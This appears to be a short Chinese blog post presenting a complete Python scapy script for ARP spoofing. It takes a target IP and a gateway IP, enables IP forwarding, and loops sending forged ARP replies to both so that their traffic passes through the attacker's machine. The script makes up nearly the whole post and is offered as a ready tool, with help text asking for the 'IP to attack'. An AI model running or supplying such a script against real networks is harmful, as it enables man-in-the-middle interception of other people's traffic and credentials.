python arp欺骗

使用python构造一个arp欺骗脚本

import os
import sys
from scapy.all import *
import optparse
def main():
    usage="usage:[-i interface] [-t IP to attack] [-g Gateway IP]"
    parser=optparse.OptionParser(usage)
    parser.add_option('-i',dest='interface',help='select interface(input eth0 or wlan0 or more)')
    parser.add_option('-t',dest='IP',help='You want to attack the IP')
    parser.add_option('-g',dest='gatewayip',help='The IP of the gateway')
    (options,args)=parser.parse_args()
    if options.interface and options.IP and options.gatewayip:
        interface=options.interface
        IP=options.IP
        gatewayip=options.gatewayip
        spoof(interface,IP,gatewayip)
    else:
        parser.print_help()
        sys.exit()
def spoof(interface,IP,gatewayip):
    benjimac=get_if_hwaddr(interface)
    mubiao=getmacbyip(IP)
    wanguan=getmacbyip(gatewayip)
    ptarget = Ether(src=benjimac, dst=mubiao) / ARP(hwsrc=benjimac, psrc=gatewayip, hwdst=mubiao, pdst=IP, op=2)    #本地-》网关      
    pgateway=Ether(src=benjimac,dst=wanguan)/ARP(hwsrc=benjimac,psrc=IP,hwdst=wanguan,pdst=gatewayip,op=2) #本地-》目标机
    print '[+]Open IP forwarding'
    zhuanfa=os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')    #IP转发  
    try:
        while 1:
          sendp(ptarget, inter=2, iface=interface) #发包
          print "send arp reponse to target(%s),gateway(%s) macaddress is %s" % (gatewayip, gatewayip, benjimac)
          sendp(pgateway, inter=2, iface=interface) #发包
          print "send arp reponse to gateway(%s),target(%s) macaddress is %s" % (IP, IP, benjimac)
    except Exception as f:
        print '[-]Error:',f
        sys.exit()
if __name__ == '__main__':
    main()

　　测试图：